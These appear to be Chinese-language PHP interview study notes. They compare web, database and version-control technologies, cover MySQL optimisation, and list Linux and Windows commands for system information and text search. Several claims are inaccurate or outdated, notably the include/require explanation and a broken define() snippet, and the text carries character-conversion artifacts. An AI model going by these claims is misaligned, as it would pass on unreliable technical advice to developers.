總結一下:Session是在服務端保存的一個數據結構,用來跟蹤用戶的狀態,這個數據能夠保存在集羣、數據庫、文件中;Cookie是客戶端保存用戶信息的一種機制,用來記錄用戶的一些信息,也是實現Session的一種方式。
GET 與 POST 區別
忽然發現網上對這個問題爭論不休,因此這裏直接附上w3c的介紹,若有須要自行google。
include 與 require 區別
•incluce在用到時加載
•require在一開始就加載。
require()語句的性能與include()相相似,都是包括並運行指定文件。不一樣之處在於:對include()語句來講,在執行文件時每次都要進行讀取和評估;而對於require()來講,文件只處理一次(實際上,文件內容替換require()語句)。這就意味着若是可能執行屢次的代碼,則使用require()效率比較高。另一方面,若是每次執行代碼時是讀取不一樣的文件,或者有經過一組文件迭代的循環,就使用include()語句。
require的使用方法如:require("myfile.php"),這個語句一般放在PHP腳本程序的最前面。PHP程序在執行前,就會先讀入require()語句所引入的文件,使它變成PHP腳本文件的一部分。include使用方法和require同樣如:include("myfile.php"),而這個語句通常是放在流程控制的處理區段中。PHP腳本文件在讀到include()語句時,纔將它包含的文件讀取進來。這種方式,能夠把程式執行時的流程簡單化。
include_once 與 require_once 區別
_once後綴表示已加載的不加載
include_once()和require_once()語句也是在腳本執行期間包括運行指定文件。此行爲和include()語句及require()相似,使用方法也同樣。惟一區別是若是該文件中的代碼已經被包括了,則不會再次包括。這兩個語句應該用於在腳本執行期間,同一個文件有可能被包括超過一次的狀況下,確保它只被包括一次,以免函數重定義以及變量從新賦值等問題。
Memcached 與 Redis 區別
Redis做者的概述:
Redis支持服務器端的數據操做:Redis相比Memcached來講,擁有更多的數據結構和並支持更豐富的數據操做,一般在Memcached裏,你須要將數據拿到客戶端來進行相似的修改再set回去。這大大增長了網絡IO的次數和數據體積。在Redis中,這些複雜的操做一般和通常的GET/SET同樣高效。因此,若是須要緩存可以支持更復雜的結構和操做,那麼Redis會是不錯的選擇。
內存使用效率對比:使用簡單的key-value存儲的話,Memcached的內存利用率更高,而若是Redis採用hash結構來作key-value存儲,因爲其組合式的壓縮,其內存利用率會高於Memcached。
性能對比:因爲Redis只使用單核,而Memcached能夠使用多核,因此平均每個核上Redis在存儲小數據時比Memcached性能更高。而在100k以上的數據中,Memcached性能要高於Redis,雖然Redis最近也在存儲大數據的性能上進行優化,可是比起Memcached,仍是稍有遜色。
更多比較:
1 網絡IO模型
Memcached是多線程,非阻塞IO複用的網絡模型,分爲監聽主線程和worker子線程,監聽線程監聽網絡鏈接,接受請求後,將鏈接描述字pipe 傳遞給worker線程,進行讀寫IO, 網絡層使用libevent封裝的事件庫,多線程模型能夠發揮多核做用,可是引入了cache coherency和鎖的問題,好比,Memcached最經常使用的stats 命令,實際Memcached全部操做都要對這個全局變量加鎖,進行計數等工做,帶來了性能損耗。
Redis使用單線程的IO複用模型,本身封裝了一個簡單的AeEvent事件處理框架,主要實現了epoll、kqueue和select,對於單純只有IO操做來講,單線程能夠將速度優點發揮到最大,可是Redis也提供了一些簡單的計算功能,好比排序、聚合等,對於這些操做,單線程模型實際會嚴重影響總體吞吐量,CPU計算過程當中,整個IO調度都是被阻塞住的。
2.內存管理方面
Memcached使用預分配的內存池的方式,使用slab和大小不一樣的chunk來管理內存,Item根據大小選擇合適的chunk存儲,內存池的方式能夠省去申請/釋放內存的開銷,而且能減少內存碎片產生,但這種方式也會帶來必定程度上的空間浪費,而且在內存仍然有很大空間時,新的數據也可能會被剔除,緣由能夠參考Timyang的文章:http://timyang.net/data/Memcached-lru-evictions/
Redis使用現場申請內存的方式來存儲數據,而且不多使用free-list等方式來優化內存分配,會在必定程度上存在內存碎片,Redis跟據存儲命令參數,會把帶過時時間的數據單獨存放在一塊兒,並把它們稱爲臨時數據,非臨時數據是永遠不會被剔除的,即使物理內存不夠,致使swap也不會剔除任何非臨時數據(但會嘗試剔除部分臨時數據),這點上Redis更適合做爲存儲而不是cache。
3.數據一致性問題
Memcached提供了cas命令,能夠保證多個併發訪問操做同一份數據的一致性問題。 Redis沒有提供cas 命令,並不能保證這點,不過Redis提供了事務的功能,能夠保證一串 命令的原子性,中間不會被任何操做打斷。
4.存儲方式及其它方面
Memcached基本只支持簡單的key-value存儲,不支持枚舉,不支持持久化和複製等功能 Redis除key/value以外,還支持list,set,sorted set,hash等衆多數據結構,提供了KEYS 進行枚舉操做,但不能在線上使用,若是須要枚舉線上數據,Redis提供了工具能夠直接掃描其dump文件,枚舉出全部數據,Redis還同時提供了持久化和複製等功能。
5.關於不一樣語言的客戶端支持
在不一樣語言的客戶端方面,Memcached和Redis都有豐富的第三方客戶端可供選擇,不過由於Memcached發展的時間更久一些,目前看在客戶端支持方面,Memcached的不少客戶端更加成熟穩定,而Redis因爲其協議自己就比Memcached複雜,加上做者不斷增長新的功能等,對應第三方客戶端跟進速度可能會趕不上,有時可能須要本身在第三方客戶端基礎上作些修改才能更好的使用。
根據以上比較不難看出,當咱們不但願數據被踢出,或者須要除key/value以外的更多數據類型時,或者須要落地功能時,使用Redis比使用Memcached更合適。
MySQL 各個存儲引擎、及區別(必定會問 MyISAM 與 Innodb 區別)
Mysql經常使用存儲引擎共有:MyISAM,Innodb,Memory,Archive(還有其餘引擎,但不常見)
InnoDB 和 MyISAM之間的區別:
1>.InnoDB支持事務,而MyISAM不支持事務
2>.InnoDB支持行級鎖,而MyISAM支持表級鎖
3>.InnoDB支持MVCC(多版本併發控制), 而MyISAM不支持
4>.InnoDB支持外鍵,而MyISAM不支持
5>.InnoDB不支持全文索引,而MyISAM支持。(X)
InnoDB :若是要提供提交、回滾、崩潰恢復能力的事務安全(ACID兼容)能力,並要求實現併發控制,InnoDB是一個好的選擇
MyISAM:若是數據表主要用來插入和查詢記錄,則MyISAM(可是不支持事務)引擎能提供較高的處理效率
Memory:若是隻是臨時存放數據,數據量不大,而且不須要較高的數據安全性,能夠選擇將數據保存在內存中的Memory引擎,MySQL中使用該引擎做爲臨時表,存放查詢的中間結果。數據的處理速度很快可是安全性不高。
Archive:若是隻有INSERT和SELECT操做,能夠選擇Archive,Archive支持高併發的插入操做,可是自己不是事務安全的。Archive很是適合存儲歸檔數據,如記錄日誌信息能夠使用Archive。
使用哪種引擎須要靈活選擇,一個數據庫中多個表能夠使用不一樣引擎以知足各類性能和實際需求,使用合適的存儲引擎,將會提升整個數據庫的性能
HTTP 與 HTTPS 區別
一句話說,https比http安全且是如今主流。(https的s就是指的security)
HTTPS和HTTP的區別主要以下:
一、https協議須要到ca申請證書,通常免費證書較少,於是須要必定費用。
二、http是超文本傳輸協議,信息是明文傳輸,https則是具備安全性的ssl加密傳輸協議。
三、http和https使用的是徹底不一樣的鏈接方式,用的端口也不同,前者是80,後者是443。
四、http的鏈接很簡單,是無狀態的;HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,比http協議安全。
Apache 與 Nginx 區別
簡單歸納:
nginx 相對 apache 的優勢:
輕量級,一樣起web 服務,比apache 佔用更少的內存及資源
抗併發,nginx 處理請求是異步非阻塞的,而apache 則是阻塞型的,在高併發下nginx 能保持低資源低消耗高性能
高度模塊化的設計,編寫模塊相對簡單
社區活躍,各類高性能模塊出品迅速啊
apache 相對nginx 的優勢:
rewrite ,比nginx 的rewrite 強大
模塊超多,基本想到的均可以找到
少bug ,nginx 的bug 相對較多
超穩定
再詳細點:
做爲 Web 服務器:相比 Apache,Nginx 使用更少的資源,支持更多的併發鏈接,體現更高的效率,這點使 Nginx 尤爲受到虛擬主機提供商的歡迎。在高鏈接併發的狀況下,Nginx是Apache服務器不錯的替代品: Nginx在美國是作虛擬主機生意的老闆們常常選擇的軟件平臺之一. 可以支持高達 50000 個併發鏈接數的響應, 感謝Nginx爲咱們選擇了 epoll and kqueue 做爲開發模型.Nginx做爲負載均衡服務器: Nginx 既能夠在內部直接支持 Rails 和 PHP 程序對外進行服務, 也能夠支持做爲 HTTP代理 服務器對外進行服務. Nginx採用C進行編寫, 不管是系統資源開銷仍是CPU使用效率都比 Perlbal 要好不少.
Nginx 配置簡潔, Apache 複雜 ,Nginx 啓動特別容易, 而且幾乎能夠作到7*24不間斷運行,即便運行數個月也不須要從新啓動. 你還可以不間斷服務的狀況下進行軟件版本的升級 . Nginx 靜態處理性能比 Apache 高 3倍以上 ,Apache 對 PHP 支持比較簡單,Nginx 須要配合其餘後端來使用 ,Apache 的組件比 Nginx 多.
最核心的區別在於apache是同步多進程模型,一個鏈接對應一個進程;nginx是異步的,多個鏈接(萬級別)能夠對應一個進程 .
nginx的優點是處理靜態請求,cpu內存使用率低,apache適合處理動態請求,因此如今通常前端用nginx做爲反向代理抗住壓力,apache做爲後端處理動態請求。
define() 與 const 區別
二者之間最大的區別在於const是在編譯時定義常量,而define()方法是在運行時定義常量。
const不能用在if語句中, defne()能用在if語句中。
if(...) {
const FOO = 'BAR';//錯誤
}
if(...) {
define('FOO', 'BAR');//正確
}
define()的一個經常使用場景是先判斷常量是否已經定義再定義常量:
if(defined('FOO)) {
define('FOO', 'BAR')
}
const 定義常量時,值只能是靜態標量(數字, 字符串, true,false, null), 而define()方法能夠把任意表達式的值用做常量的值。從PHP5.6開始const也容許把表達式用做常量的值了。
const BIT_5 = 1 << 5; //PHP5.6後支持,以前的PHP版本不支持
define('BIT_5', 1 << 5);// 全部PHP版本都支持
const 只容許簡單的常量名,而define()能夠把任何表達式的值用做常量名
for ($i = 0; $i < 32; $i++) {
define('BIT_' . $i, 1 << $i);
}
const 定義的常量常量名是大小寫敏感的,而傳遞true給define()方法的第三個參數時能夠定義大小寫不敏感的常量。
define('FOO', 'BAR', true);
echo FOO; //BAR
echo foo; //BAR
上面列舉的都是const相較define()而言的一些缺點或者不靈活的地方,下面咱們看一下爲何我我的推薦用const而不是define()來定義常量(除非要在上述列舉的場景中定義常量)。
const 具備更好的可讀性,const是語言結構而不是函數,並且與在類中定義類常量的形式保持一致。
const在當前的命名空間中定義常量, 而define()要實現相似效果必須在定義時傳遞完整的命名空間名稱:
namespace A\B\C;//To define the constant A\B\C\FOO:
const FOO = 'BAR';
define('A\B\C\FOO', 'BAR');
const從PHP5.6版本開始能夠把數組用做常量值,而define()在PHP7.0版本開始才支持把數組用做常量值。
const FOO = [1, 2, 3];// valid in PHP 5.6
define('FOO', [1, 2, 3]);// invalid in PHP 5.6, valid in PHP 7.0
由於const是語言結構而且在編譯時定義常量因此const會比define() 稍稍快一些。
衆所周知PHP在用define()定義了大量的常量後會影響效率。 人們設置發明了apc_load_constants()和hidef來繞過define()致使的效率問題。
最後,const還能被用於在類和接口中定義常量,define()只能被用於在全局命名空間中定義常量:
class FOO{
const BAR = 2;// 正確
}
class Baz{
define('QUX', 2)// 錯誤
}
總結:
除非要在if分支裏定義常量或者是經過表達式的值來命名常量, 其餘狀況(即便是隻是簡單的爲了代碼的可讀性)都推薦用const替代define()。
traits 與 interfaces 區別 及 traits 解決了什麼痛點?
知乎一個有趣的比喻:
你能夠把trait看成是多繼承的一種變種,是一種增強型的接口,好比當你須要定義一個car的class,此時你須要實現vehicle定義的接口,好比必須有引擎,有外殼這些,但你這時會發現每一個都本身去實現是否是太複雜了?好比對你而言引擎的實現你並不關心,你只要買一個用就行了,你比較在乎汽車的外形,那麼這時候就用到了trait,他替你封裝好了引擎的相關實現,所以你只要關心怎麼使引擎動起來便可,不用本身去實現。固然換一種方法也是能實現的,好比你把engine做爲一個類的屬性,而後使用時new一個封裝好的engine類也是能夠的,只是用trait更方便。
從方便偷懶的角度來講:
Interface只給了些方法名字,方法還得靠本身所有實現,方便個屁。而trait拿來就能夠直接使用了,這才舒服嘛。
一個外國小哥這樣描述trait:
Trait本質上是語言輔助的複製和粘貼。即便用trait至關於把它封裝的方法代碼複製粘貼到此處。
traits 解決了什麼痛點:(摘自PHP官方文檔)
自 PHP 5.4.0 起,PHP 實現了一種代碼複用的方法,稱爲 trait。
Trait 是爲相似 PHP 的單繼承語言而準備的一種代碼複用機制。Trait 爲了減小單繼承語言的限制,使開發人員可以自由地在不一樣層次結構內獨立的類中複用 method。Trait 和 Class 組合的語義定義了一種減小複雜性的方式,避免傳統多繼承和 Mixin 類相關典型問題。
Trait 和 Class 類似,但僅僅旨在用細粒度和一致的方式來組合功能。 沒法經過 trait 自身來實例化。它爲傳統繼承增長了水平特性的組合;也就是說,應用的幾個 Class 之間不須要繼承。
Git 與 SVN 區別
1) 最核心的區別Git是分佈式的,而Svn不是分佈的。雖然Git跟Svn同樣有本身的集中式版本庫和Server端,但Git更傾向於分佈式開發,由於每個開發人員的電腦上都有一個Local Repository,因此即便沒有網絡也同樣能夠Commit,查看歷史版本記錄,建立項目分支等操做,等網絡再次鏈接上Push到Server端;
2)Git把內容按元數據方式存儲,而SVN是按文件;
3) Git沒有一個全局版本號,而SVN有:這是跟SVN相比Git缺乏的最大的一個特徵;
4) Git的內容的完整性要優於SVN:;
5) Git下載下來後,在OffLine狀態下能夠看到全部的Log,SVN不能夠;
6) 剛開始用時很狗血的一點,SVN必須先Update才能Commit,忘記了合併時就會出現一些錯誤,git仍是比較少的出現這種狀況;
7) 克隆一份全新的目錄以一樣擁有五個分支來講,SVN是同時復製5個版本的文件,也就是說重複五次一樣的動做。而Git只是獲取文件的每一個版本的元素,而後只載入主要的分支(master)在個人經驗,克隆一個擁有將近一萬個提交(commit),五個分支,每一個分支有大約1500個文件的 SVN,耗了將近一個小時!而Git只用了區區的1分鐘!
8) 版本庫(repository):SVN只能有一個指定中央版本庫。當這個中央版本庫有問題時,全部工做成員都一塊兒癱瘓直到版本庫維修完畢或者新的版本庫設立完成。而 Git能夠有無限個版本庫。
9)分支(Branch):在SVN,分支是一個完整的目錄。且這個目錄擁有完整的實際文件。若是工做成員想要開啟新的分支,那將會影響「全世界」!每一個人都會擁有和你同樣的分支。若是你的分支是用來進行破壞工做(安檢測試),那將會像傳染病同樣,你改一個分支,還得讓其餘人從新切分支從新下載,十分狗血。而 Git,每一個工做成員能夠任意在本身的本地版本庫開啟無限個分支。
最值得一提,我能夠在Git的任意一個提交點(commit point)開啓分支!(其中一個方法是使用gitk –all 可觀察整個提交記錄,而後在任意點開啟分支。)
10)提交(Commit)在SVN,當你提交你的完成品時,它將直接記錄到中央版本庫。當你發現你的完成品存在嚴重問題時,你已經沒法阻止事情的發生了。若是網路中斷,你根本沒辦法提交!而Git的提交徹底屬於本地版本庫的活動。而你只需「推」(git push)到主要版本庫便可。Git的「推」實際上是在執行「同步」(Sync)。
最後總結一下:
SVN的特色是簡單,只是須要一個放代碼的地方時用是OK的。
Git的特色版本控制能夠不依賴網絡作任何事情,對分支和合並有更好的支持(固然這是開發者最關心的地方),不過想各位能更好使用它,須要花點時間嘗試下。
=====================數據庫篇===============================================
MySQL
CRUD
即C(create)增(insert)、D(delete)刪(delete)、U(update)改(update)、R(read)查(select)
JOIN、LEFT JOIN 、RIGHT JOIN、INNER JOIN
JOIN / INNER JOIN(內鏈接,或等值鏈接):獲取兩個表中字段匹配關係的記錄。
SELECT Orders.OrderID, Customers.CustomerName, Orders.OrderDate
FROM Orders INNER JOIN Customers
ON Orders.CustomerID=Customers.CustomerID;
Orders 表和Customers 表中都有CustomerID字段,經過該字段使用內鏈接將兩表中匹配的記錄篩選出來並根據指定須要拼接在一塊兒
2. LEFT JOIN(左鏈接):獲取左表全部記錄,即便右表沒有對應匹配的記錄。
SELECT Customers.CustomerName, Orders.OrderID FROM Customers LEFT JOIN Orders ON Customers.CustomerID = Orders.CustomerID ORDER BY Customers.CustomerName;
結果會返回Customers表中的全部CustomerName,以及相匹配的Orders表的OrderID,若匹配不到的(即Customers.CustomerID =
Orders.CustomerID找不到的),則Orders.OrderID會顯示爲null
3. RIGHT JOIN(右鏈接): 與 LEFT JOIN 相反,用於獲取右表全部記錄,即便左表沒有對應匹配的記錄。
SELECT Orders.OrderID, Employees.LastName, Employees.FirstName FROM Orders RIGHT JOIN Employees ON Orders.EmployeeID = Employees.EmployeeID ORDER BY Orders.OrderID;
結果是Employees 表的指定列記錄會所有顯示,相匹配的OrderID也會顯示,不匹配的OrderID列會顯示爲null
UNION
UNION運算符用於組合兩個或多個SELECT語句的結果集。要求:
UNION中的每一個SELECT語句必須具備相同的列數
列還必須具備相似的數據類型
每一個SELECT語句中的列也必須具備相同的順序
UNION運算符默認狀況下僅選擇不一樣的值。要容許重複值,
請使用UNION ALL
結果集中的列名一般等於UNION中第一個SELECT語句中的列名。
示例:
SELECT City FROM Customers UNION SELECT City FROM Suppliers ORDER BY City;
查詢結果爲Customers表和Suppliers表中的City 列的全部數據。
GROUP BY + COUNT + WHERE 組合案例
GROUP BY語句一般與聚合函數(COUNT,MAX,MIN,SUM,AVG)一塊兒使用,以將結果集分組爲一列或多列
示例:
SELECT COUNT(CustomerID), Country FROM Customers WHERE Status=1 GROUP BY Country ORDER BY COUNT(CustomerID) DESC;
該SQL語句列出了狀態爲1的記錄中每一個國家/地區的客戶數量,從高到低排序
經常使用 MySQL 函數,如:now()、md5()、concat()、uuid()等
mysql函數太多,這裏只列舉提述,若有須要可直接打開連接。
now()函數返回當前時間(yyyy-mm-dd hh:ii:ss),now()+1(yyyymmddhhiiss)
md5()函數即對括號內數據作md5加密處理
concat()函數將兩個或多個表達式一塊兒添加,如
SELECT CONCAT(Address, " ", PostalCode, " ", City) AS Address
FROM Customers; 結果爲Address字段值爲Address PostalCode City,須要注意的是concat函數的參數有一個爲null則值爲null。
uuid()函數,UUID 是通用惟一識別碼(Universally Unique Identifier)的縮寫,標準的UUID格式爲:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12),包含32個16進制數字,以連字號分爲五段,好比:8e9503d9-beab-11e7-913c-1418775159ef,通常用於惟一主鍵id,使用時通常去掉連字號-,SELECT REPLACE(UUID(),'-','');與自增id區別: UUID是能夠生成時間、空間上都獨一無二的值;自增序列只能生成基於表內的惟一值,且須要搭配使其爲惟一的主鍵或惟一索引;
1:一、1:n、n:n 各自適用場景
回答時最好選擇曾經寫過的實例舉例說明
一對一關係示例:
一個學生對應一個學生檔案材料,或者每一個人都有惟一的身份證編號。
一對多關係示例:
一個學生只屬於一個班,可是一個班級有多名學生。
多對多關係示例:
一個學生能夠選擇多門課,一門課也有多名學生。
瞭解觸發器是什麼,說個使用場景
觸發器是與表有關的數據庫對象,在知足定義條件時觸發,並執行觸發器中定義的語句集合。
建立觸發器:
CREATE TRIGGER trigger_name trigger_time trigger_event ON tbl_name FOR EACH ROW trigger_stmt
解釋:
trigger_name:標識觸發器名稱,用戶自行指定;
trigger_time:標識觸發時機,取值爲 BEFORE 或 AFTER;
trigger_event:標識觸發事件,取值爲 INSERT、UPDATE 或 DELETE;
tbl_name:標識創建觸發器的表名,即在哪張表上創建觸發器;
EACH ROW:表示針對該表的每一行記錄,知足條件時執行觸發器語句;
trigger_stmt:觸發器程序體,能夠是一句SQL語句,或者用 BEGIN 和 END 包含的多條語句。
因而可知,能夠創建6種觸發器,即:BEFORE INSERT、BEFORE UPDATE、BEFORE DELETE、AFTER INSERT、AFTER UPDATE、AFTER DELETE。
另外有一個限制是不能同時在一個表上創建2個相同類型的觸發器,所以在一個表上最多創建6個觸發器
觸發器儘可能少的使用,由於無論如何,它仍是很消耗資源,若是使用的話要謹慎的使用,肯定它是很是高效的:觸發器是針對每一行的;對增刪改很是頻繁的表上切記不要使用觸發器,由於它會很是消耗資源。
數據庫優化手段
索引、聯合索引(命中條件)
(1) 主鍵索引 PRIMARY KEY
它是一種特殊的惟一索引,不容許有空值。通常是在建表的時候同時建立主鍵索引。固然也能夠用 ALTER 命令。
(2) 惟一索引 UNIQUE
惟一索引列的值必須惟一,但容許有空值。若是是組合索引,則列值的組合必須惟一。能夠在建立表的時候指定,也能夠修改表結構,如:
ALTER TABLE table_name ADD UNIQUE (column_name)
(3) 普通索引 INDEX
這是最基本的索引,它沒有任何限制。能夠在建立表的時候指定,也能夠修改表結構,如:
ALTER TABLE table_name ADD INDEX index_name (column_name)
(4) 組合索引 INDEX
組合索引,即一個索引包含多個列。能夠在建立表的時候指定,也能夠修改表結構,如:
ALTER TABLE table_name ADD INDEX index_name(column1_name, column2_name, column3_name)
(5) 全文索引 FULLTEXT
全文索引(也稱全文檢索)是目前搜索引擎使用的一種關鍵技術。它可以利用分詞技術等多種算法智能分析出文本文字中關鍵字詞的頻率及重要性,而後按照必定的算法規則智能地篩選出咱們想要的搜索結果。
能夠在建立表的時候指定,也能夠修改表結構,如:
ALTER TABLE table_name ADD FULLTEXT (column_name)
分庫分表(水平分表、垂直分表)
垂直分表:
垂直拆分是指數據表列的拆分,把一張列比較多的表拆分爲多張表
一般咱們按如下原則進行垂直拆分:
把不經常使用的字段單獨放在一張表;
把text,blob等大字段拆分出來放在附表中;
常常組合查詢的列放在一張表中;
垂直拆分更多時候就應該在數據表設計之初就執行的步驟,而後查詢的時候用jion關鍵起來便可;
水平分表:
水平拆分是指數據錶行的拆分,表的行數超過200萬行時,就會變慢,這時能夠把一張表的數據拆成多張表來存放。
一般狀況下,咱們使用取模的方式來進行表的拆分;好比一張有400W的用戶表users,爲提升其查詢效率咱們把其分紅4張表users1,users2,users3,users4,經過用ID取模的方法把數據分散到四張表內
id%4+1 = [1,2,3,4],而後查詢,更新,刪除也是經過取模的方法來查詢
示例僞代碼:
$_GET['id'] = 17,
17%4 + 1 = 2,
$tableName = 'users'.'2'
Select * from users2 where id = 17;
在insert時還須要一張臨時表uid_temp來提供自增的ID,該表的惟一用處就是提供自增的ID;
insert into uid_temp values(null);
獲得自增的ID後,又經過取模法進行分表插入;
注意,進行水平拆分後的表,字段的列和類型和原表應該是相同的,可是要記得去掉auto_increment自增加
分區
mysql數據庫中的數據是以文件的形勢存在磁盤上的,默認放在/mysql/data下面(能夠經過my.cnf中的datadir來查看),一張表主要對應着三個文件,一個是frm存放表結構的,一個是myd存放表數據的,一個是myi存表索引的。若是一張表的數據量太大的話,那麼myd,myi就會變的很大,查找數據就會變的很慢,這個時候咱們能夠利用mysql的分區功能,在物理上將這一張表對應的三個文件,分割成許多個小塊,這樣呢,咱們查找一條數據時,就不用所有查找了,只要知道這條數據在哪一塊,而後在那一塊找就好了。若是表的數據太大,可能一個磁盤放不下,這個時候,咱們能夠把數據分配到不一樣的磁盤裏面去。mysql提供的分區屬於橫向分區,假若有100W條數據,分紅十份,前10W條數據放到第一個分區,第二個10W條數據放到第二個分區,依此類推。
目前MySQL支持範圍分區(RANGE),列表分區(LIST),哈希分區(HASH)以及KEY分區四種,具體說明
會使用 explain 分析 SQL 性能問題,瞭解各參數含義
重點理解 type、rows、key
MySQL 提供了一個 EXPLAIN 命令, 它能夠對 SELECT 語句進行分析, 並輸出 SELECT 執行的詳細信息, 以供開發人員針對性優化.
EXPLAIN 命令用法十分簡單, 在 SELECT 語句前加上 Explain 就能夠了, 例如:
EXPLAIN SELECT * from user_info WHERE id < 300;
mysql> explain select * from user_info where id = 2\G
*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: user_info
partitions: NULL
type: const
possible_keys: PRIMARY
key: PRIMARY
key_len: 8
ref: const
rows: 1
filtered: 100.00
Extra: NULL1 row in set, 1 warning (0.00 sec)
各列的含義以下:
id: SELECT 查詢的標識符. 每一個 SELECT 都會自動分配一個惟一的標識符.
select_type: SELECT 查詢的類型.通常有simple或union
table: 查詢的是哪一個表
partitions: 匹配的分區
type: join 類型,type顯示的是訪問類型,是較爲重要的一個指標,結果值從好到壞依次是:
system > const > eq_ref > ref > fulltext > ref_or_null > index_merge > unique_subquery > index_subquery > range > index > ALL
通常來講,得保證查詢至少達到range級別,最好能達到ref。
possible_keys: 這次查詢中可能選用的索引
key: 這次查詢中確切使用到的索引.顯示MySQL實際決定使用的鍵。若是沒有索引被選擇,鍵是NULL。
ref: 哪一個字段或常數與 key 一塊兒被使用
rows: 顯示此查詢一共掃描了多少行. 這個是一個估計值.這個數表示mysql要遍歷多少數據才能找到,在innodb上是不許確的
filtered: 表示此查詢條件所過濾的數據的百分比
extra: 額外的信息
Slow Log(有什麼用,何時須要)
它能記錄下全部執行超過long_query_time時間的SQL語句,幫你找到執行慢的SQL,方便咱們對這些SQL進行優化。
默認不開啓,開啓方法:通過測試(這裏用的windows下的xampp),多種嘗試直接修改my.ini配置文件均無效且會致使mysql沒法啓動,後直接sql語句解決:
set global long_query_time = 3600;
set global log_querise_not_using_indexes = ON;
set global slow_query_log = ON;
set global slow_query_log_file = 'mysql_slow_log.log';
指定的mysql_slow_log.log文件在xampp\mysql\data\下,可用
show global variables like '%slow%'; 語句檢查是否開啓成功
MSSQL(瞭解)
查詢最新5條數據
select top 5 from table_name order by id(或其餘能表示最新的字段)
注意:select top 語句不適用於mysql!
NOSQL
NoSQL,指的是非關係型的數據庫。NoSQL有時也稱做Not Only SQL的縮寫,是對不一樣於傳統的關係型數據庫的數據庫管理系統的統稱。
NoSQL用於超大規模數據的存儲。(例如谷歌或Facebook天天爲他們的用戶收集萬億比特的數據)。這些類型的數據存儲不須要固定的模式,無需多餘操做就能夠橫向擴展
NoSQL的優勢/缺點:
優勢:
- 高可擴展性
- 分佈式計算
- 低成本
- 架構的靈活性,半結構化數據
- 沒有複雜的關係
缺點:
- 沒有標準化
- 有限的查詢功能(到目前爲止)
- 最終一致是不直觀的程序
Redis、Memcached、MongoDB
關於redis、Memcached在前面對比篇裏已經提到過了,這裏再也不贅述。
MongoDB 是由C++語言編寫的,是一個基於分佈式文件存儲的開源數據庫系統。在高負載的狀況下,添加更多的節點,能夠保證服務器性能。MongoDB 旨在爲WEB應用提供可擴展的高性能數據存儲解決方案。MongoDB 將數據存儲爲一個文檔,數據結構由鍵值(key=>value)對組成。MongoDB 文檔相似於 JSON 對象。字段值能夠包含其餘文檔,數組及文檔數組。
對比、適用場景(可從如下維度進行對比)
一篇算是比較全面的三者(redis,memcached,mongodb)的比較:
https://db-engines.com/en/system/Memcached%3BMongoDB%3BRedis
持久化
支持多鍾數據類型
可利用 CPU 多核心
內存淘汰機制
集羣 Cluster
支持 SQL
性能對比
支持事務
應用場景
你以前爲了解決什麼問題使用的什麼,爲何選它?
根據開發經驗自由發揮,如下爲本人拙見:
緩存,redis,數據量小,操做簡單,使用Laravel提供的Redis Facade,大大簡化了代碼
==========================服務器篇========================================
查看 CPU、內存、時間、系統版本等信息
一直在windows作測試,沒有用到過cpu,內存等信息,網上資料很少,沒有找到php的什麼函數可以直接得到這些信息的,可是能夠曲線救國,就是用exec()執行控制檯命令,這樣無論windows仍是linux均可以執行相應查看命令了,參考示例:
<?php // linux echo exec(‘whoami’) . ‘<br>’; echo exec(‘git –version’) . ‘<br>’; echo exec(‘cat /proc/uptime’) . ‘<br>’; echo exec(‘cat /proc/meminfo’) . ‘<br>’; echo exec(‘cat /proc/loadavg’) . ‘<br>’; ?>
結果是:
www
git version 1.7.1
221601.89 879803.10
DirectMap2M: 2088960 kB
0.39 0.24 0.21 1/167 5584
這個函數能夠輕鬆的實如今服務器上執行一個命令,很是關鍵,必定要當心使用。
Windows:
怎樣用dos命令(cmd命令中輸入)查看硬盤、內存和CPU信息?
一、查看磁盤信息:wmic freedisk,能夠查看每個盤的剩餘空間。
wmic diskdrive,能夠看出牌子和大小。
Wmic logicaldisk,能夠看到有幾個盤,每個盤的文件系統和剩餘空間。
wmic volume,每一個盤的剩餘空間量,其實上一個命令也能夠查看的。
fsutil volume diskfree c: 這個命令查看每個卷的容量信息是很方便的。
二、查看CPU信息:
wmic cpu上面顯示的有位寬,最大始終頻率,生產廠商,二級緩存等信息。
三、查看內存信息:
wmic memorychip能夠顯示出內存條數、容量和速度。
四、查看BIOS信息:
wmic bios主板型號、BIOS 版本。
Windows下直接echo無內容輸出,需給exec第二個參數(數組)用於保存內容
http://php.net/manual/en/function.exec.php
兩系統獲得的信息格式均不友好且很差處理。
時間通常time(),系統版本相關通常phpinfo能夠解決?
抱歉看錯了,這一篇既然是服務器篇,應該跟php無關的,以上命令能夠移除php直接執行,補充查看時間、系統版本cmd命令:
Linux時間:date windows時間:date, time
linux系統版本:lsb_release -a windows系統版本:systeminfo
find 、grep 查找文件
知乎原文:https://www.jianshu.com/p/3833a50f4985
從文件內容查找匹配指定字符串的行:
grep 「被查找的字符串」 文件名
在當前目錄裏第一級文件夾中尋找包含指定字符串的.in文件
grep 「thermcontact」 /.in
從文件內容查找與正則表達式匹配的行:
grep –e 「正則表達式」 文件名
查找時不區分大小寫:
grep –i 「被查找的字符串」 文件名
查找匹配的行數:
grep -c 「被查找的字符串」 文件名
從文件內容查找不匹配指定字符串的行:
grep –v 「被查找的字符串」 文件名
從根目錄開始查找全部擴展名爲.log的文本文件,並找出包含」ERROR」的行
find / -type f -name 「*.log」 | xargs grep 「ERROR」
從當前目錄開始查找全部擴展名爲.in的文本文件,並找出包含」test」的行
find . -name 「*.in」 | xargs grep 「test」
從當前目錄開始查找全部zui/css的文件,顯示出文件名及匹配到的信息。
grep zui\/css * -r
在當前目錄搜索帶’energywise’行的文件
grep 'test' *
在當前目錄及其子目錄下搜索’test’行的文件
grep -r 'test' *
在當前目錄及其子目錄下搜索’test’行的文件,可是不顯示匹配的行,只顯示匹配的文件
grep -l -r 'energywise' *
awk 處理文本
簡單介紹:
原文:http://blog.wuxu92.com/using-awk/
在Linux下咱們常常須要對一些文本文檔作一些處理,尤爲像從日誌裏提取一些數據,這是咱們通常會用awk工具和sed工具去實現需求,這裏對awk的入門使用簡單記錄。
awk能夠看做一種文本處理工具,一種專一數據操做的編程語言,一個數據處理引擎。其名字來源於三個發明者的姓名首字母。通常在Linux下使用的awk是gawk(gnu awk)。
入門
awk把文本文檔看做是數據庫,每一行看做一條數據庫中的記錄,能夠指定數據列的分隔符,默認的分隔符是」\t」,即Tab。
